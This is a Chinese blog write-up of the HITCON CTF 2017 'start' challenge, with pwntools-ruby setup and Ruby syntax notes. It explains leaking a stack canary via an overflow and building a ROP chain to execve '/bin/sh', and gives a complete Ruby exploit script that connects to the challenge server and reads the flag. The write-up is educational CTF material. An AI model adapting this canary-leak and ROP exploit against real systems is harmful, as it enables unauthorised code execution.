美文网首页CTF Re&&Pwn黑客
[HITCON_CTF_2017-start]_ruby笔记

[HITCON_CTF_2017-start]_ruby笔记

作者: Black_Sun | 来源:发表于2017-11-05 00:36 被阅读179次

    kali安装pwntools-ruby:

    首先经过一番搜索:找到个安装网站:
    https://github.com/peter50216/pwntools-ruby
    采用上述网站安装的方法。出现以下几个错误:

    报错
    首先安装gem,参考如下网站:
    http://www.runoob.com/ruby/ruby-rubygems.html

    所以采用如下安装方式:

    第一步:
    gem install rake  
    gem install github_changelog_generator
    第二步:
    gem update –system
    gem install pwntools
    或者
    (这种没试过)
    git clone https://github.com/peter50216/pwntools-ruby
    cd pwntools-ruby
    gem build pwntools.gemspec && gem install pwntools-*.gem
    

    irb(Interactive Ruby)

    交互式Ruby,如果你想练习使用Ruby,我建议你使用Ruby——简称irb,irb实际上是Ruby的“shell”,它类似于操作系统的shell(具备任务控制)。使用他的环境,你可以随时随地“把玩”Ruby语言。可以在命令行提示符下运行irb。
    参数如下:


    参数

    使用irb:
    如果出现下图,表示安装成功:

    安装成功

    Rake是一门构建语言,和makeant很相像。Rake是用Ruby写的,它支持它自己的DSL用来处理和维护Ruby应用程序 。
    有兴趣的可以看一下这篇文章:
    http://blog.sina.com.cn/s/blog_78efec150101c6t0.html

    GitHub Changelog Generator:
    拥有约2500颗星评的开源GitHub Changelog Generator是一款命令行工具,能够自动通过GitHub上的标签、问题以及pull请求生成变更日志。该项目旨在帮助用户与贡献者更为轻松地查看项目新版本中的重要变更。
    推荐给程序员GitHub中的七大顶级生产力工具开发者Petr Korolev之所以发明这款工具,“是因为在此之前没有这种功能存在。所以我决定亲自动手。”这款工具由Ruby编写而成,能够生成一份典型且简洁的文件变更日志。其可支持GitHub Enterprise——即防火墙后的GitHub版本。

    /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    ruby基础知识(本人自己用到的)

    说到这里本人想说一下python,比较下ruby和python的优缺点:

    从性能上来说,Python的性能获得大幅度提升的机会不太大,但我并不相信YARV能够真的让Ruby在速度上享有对Python的明显优势,两者的运行时效率最终应当在同一个数量级上,因此,语言的选择主要还是取决于风格和审美倾向。据此,我判断Python的开发者不会大规模转向Ruby,Ruby的发展也不会对Python构成实质的冲击。两种语言都将成为最主流的应用开发语言。

    ruby的优势===========

    • ruby不强制缩进
    • ruby有着更强大的语法,使用更灵活
    • 一件事通常有多种做法,就像茴香豆的茴有多种写法一样
    • ruby on rails很酷
    • ruby更OOPruby更适合geek

    python的优势============

    • python强制缩进
    • python有着更简单的语法,上手更容易
    • python更易读
    • 一件事通常只有一种最优的方案
    • Python有着更多更成熟的库
    • Python可以预编译成bytecode
    • Python的性能更好
    • Python更适合团队
      //////////////////////////////////////////////////////////////////////////////////////////////////////

    HITCON_CTF_2017-start:

    对解题过程做一些描述:

    1,首先用ida打开start程序,F5之后,发现程序有一个定时器 alarm():


    定时器

    利用ida Edit>>Path program的选项把 alarm()函数填充掉,以免影响我们的分析:


    图片.png
    具体步骤如下:
    图片.png

    选中填充位置,然后使用一些无功能的指令,这里一般使用“NOP”:

    图片.png

    使用“90”进行改写


    图片.png

    最后的效果如下:


    图片.png
    使用checksec,查看程序开启什么保护:
    图片.png
    这里能够看出程序开启了canary保护,使用qira继续分析:

    从fs段中的偏移28中取出,canary数值,存在rbp的前一个位置(rbp-8),并消除eax中残留的值。

    canary保护

    用户输入之后,检查ebp的前一个位置的值是否和fs段中的数值一样,一样则通过,不一样则栈调到“stack_chk_fail”

    canary检查

    简单说明利用过程:

    ida F5
    思路read()读入数据,超过v6最大尺寸限度,puts输出,以'\0'为终止符。如下图所示,用a*24覆盖所用0字节,puts自然就泄露出canary值
    栈里覆盖的情况
    接着我们用Linux Syscall Reference x64构造read函数在寄存器里的参数布局,这里使用rop的方式
    rop构造read函数

    read(int fd, void *buf, size_t count);
    意义:从文件描述符fd所指向的文件中读取count个字节的数据到buf所指向的缓存中。
    文件描述符是由无符号整数表示的句柄,进程使用它来标识打开的文件。
    文件描述符0代表标准文件。
    fd是这么来的。
    fd=(open或creat成功调用时的返回值)。

    之后找一个可写可读的地方读入“/bin/sh”,重新ret到main函数上,再重新构造一次payload。构造execve函数所需要的参数. 如下图所示

    分析
    构造execve函数:
    execve

    1、execve是Linux的系统函数,查询的时候使用man 2 execve
    2、execve在头文件unistd.h中。
    3、execve的定义形式:int execve(const char *filename, char *const argv[], char *const envp[]);
    4、参数说明:
    const char *filename:执行文件的完整路径。
    char *const argv[]:传递给程序的完整参数列表,包括argv[0],它一般是程序的名。
    char *const envp[]:一般传递NULL,表示可变参数的结尾。

    execve参数

    成功拿到执行权限:

    最终结果

    完整的解题:

    require 'pwn'
    z = Sock.new '54.65.72.116',31337
    z.recvuntil "> "
    payload = %{
        r = Sock.new '127.0.0.1',31338
        p  = "1" * 25
        r.send p
        r.recv(24)
        canary = r.recv(8)
        canary = u64(canary) - 0x31
        print hex(canary)
        p  = "exit\n"
        p  = p.ljust(24, "1")
        p += p64(canary)
        p += p64(0) 
        p += p64(0x0047a781) # pop rax rdx rbx
        p += p64(59)
        p += "/bin/sh\x00"
        p += p64(0)
        p += p64(0x00418191) # pop rdi
        p += p64(0x6cdb60) # bss
        p += p64(0x43b673) # mov ptr rdi rdx
        p += p64(0x443799) # pop rdx rsi
        p += p64(0)
        p += p64(0)
        p += p64(0x00401466)
        
        r.sendline p
        r.sendline 'cat home/start/flag'
        
        print r.recv
        print r.recv
    }
    z.sendline payload
    print z.recv
    print z.recv
    print z.recv
    

    下面给出本体所用到的ruby的语法:

    require:

    require一般用来加载其它的类,如:

    #Ruby代码  :
    require 'dbi'  
    require "rexml/document"
    

    z=Sock.new '127.0.0.1',8888;

    socket.new:创建一个新的连接

    z.sendline "d"*50;

    send(data) : 发送数据
    sendline(data) : 发送一行数据,相当于在末尾加\n

    context.log_level = :debug;

    Context设置

    context是pwntools用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。
    一般来说我们设置context只需要简单的一句话:

    context(os='linux', arch='amd64', log_level='debug')
    

    这句话的意思是:

    1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
    2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
    3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。

    p=z.recvuntil "\n";

    recvuntil(delims, drop=False) : 接收到delims的pattern
    ( 接受以delims为截至接受符)
    参考网站:
    http://www.cnblogs.com/Ox9A82/p/5728149.html

    x=z.recv 7;

    recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
    puts x;
    Ruby 文件的输入与输出
    类 IO 提供了所有基础的方法,比如 read、 write、 gets、 puts、 readline、 getc 和 printf。
    puts :打印输出赋值变量
    语句指示程序显示存储在变量中的值。这将在每行末尾添加一个新行。
    实例:

    #!/usr/bin/ruby
    
    val1 = "This is variable one"
    val2 = "This is variable two"
    puts val1
    puts val2
    

    结果:

    This is variable one
    This is variable two
    

    Switch to interactive mode

    z.interact

    启动ruby-pwntools交互模式:

    # Switch to interactive mode
    z.interact;
    

    pp.ljust(50,"\x00");

    ljust()方法语法:

    str.ljust(width[, fillchar])
    

    参数
    width -- 指定字符串长度。
    fillchar -- 填充字符,默认为空格。
    返回值
    返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。
    实例
    以下实例展示了ljust()的使用方法:

    #!/usr/bin/python
    
    str = "this is string example....wow!!!";
    
    print str.ljust(50, '0');
    

    以上实例输出结果如下:

    this is string example....wow!!!000000000000000000
    

    p64(u64(xx));

    p32/p64: 打包一个整数,分别打包为32或64位
    u32/u64: 解包一个字符串,得到整数

    linux ida
    http://blog.csdn.net/cch139745/article/details/53004763

    下载网站(linux ida):
    https://www.52pojie.cn/thread-450156-1-1.html
    Linux Syscall Reference x64:
    http://veritas501.space/2017/04/23/Linux%20Syscall%20Reference%20x64/
    http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

    http://www.cplusplus.com/reference/cstdio/fgets/

    相关文章

      网友评论

        本文标题:[HITCON_CTF_2017-start]_ruby笔记

        本文链接:https://www.haomeiwen.com/subject/wytcmxtx.html